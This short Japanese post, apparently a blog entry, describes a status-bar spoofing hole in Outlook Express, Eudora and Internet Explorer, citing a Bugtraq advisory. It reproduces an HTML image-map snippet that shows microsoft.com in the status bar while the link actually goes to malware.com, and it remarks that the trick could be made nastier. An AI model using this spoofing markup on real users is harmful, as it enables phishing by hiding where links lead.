Outlook ExpressやEudoraなどにステータス・バーを偽装できるセキュリティ・ホール(ITPro)

• DEP SEA PHISHING: Internet Explorer / Outlook Express(bugtraq)
• http://www.malware.com/pheeesh.zip

こんなソースのhtmlを作ると画像が表示されないので怪しいリンクができるが、ステータスバーは偽装される。もう少しいじるともっとあくどいモノができそう。

<A HREF=http://www.microsoft.com alt="http://www.microsoft.com">
<IMG SRC="malware.gif" USEMAP="#malware" border=0
alt="http://www.microsoft.com"></A>
<map NAME="malware" alt="http://www.microsoft.com">>
<area SHAPE=RECT COORDS="224,21" HREF="http://www.malware.com"
alt="http://www.microsoft.com">
</MAP>